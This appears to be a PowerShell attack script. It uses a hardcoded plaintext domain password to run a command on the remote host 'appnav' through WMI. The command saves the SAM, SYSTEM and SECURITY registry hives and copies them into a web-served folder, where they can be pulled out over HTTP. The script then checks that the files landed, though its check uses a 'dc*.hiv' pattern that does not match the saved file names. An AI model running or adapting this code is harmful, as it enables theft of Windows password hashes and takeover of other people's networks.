$ErrorActionPreference="Continue" $sec = ConvertTo-SecureString "isS091s1" -AsPlainText -Force $cr = New-Object System.Management.Automation.PSCredential("TURBON\isara",$sec) $p = Get-WmiObject Win32_Process -ComputerName appnav -Credential $cr $c1 = "C:\Windows\Sysnative\cmd.exe /c reg save HKLM\SAM C:\Windows\Temp\dsam.hiv /y & reg save HKLM\SYSTEM C:\Windows\Temp\dsys.hiv /y & reg save HKLM\SECURITY C:\Windows\Temp\dsec.hiv /y & copy C:\Windows\Temp\d*.hiv D:\AppServ\www\ /y" try { ($p.PSBase.Create($c1,"C:\Windows\Temp",$null) | Out-String) } catch { "ERR " + $_.Exception.Message } Start-Sleep 10 "DIR:" (dir D:\AppServ\www\dc*.hiv -ErrorAction SilentlyContinue | Out-String)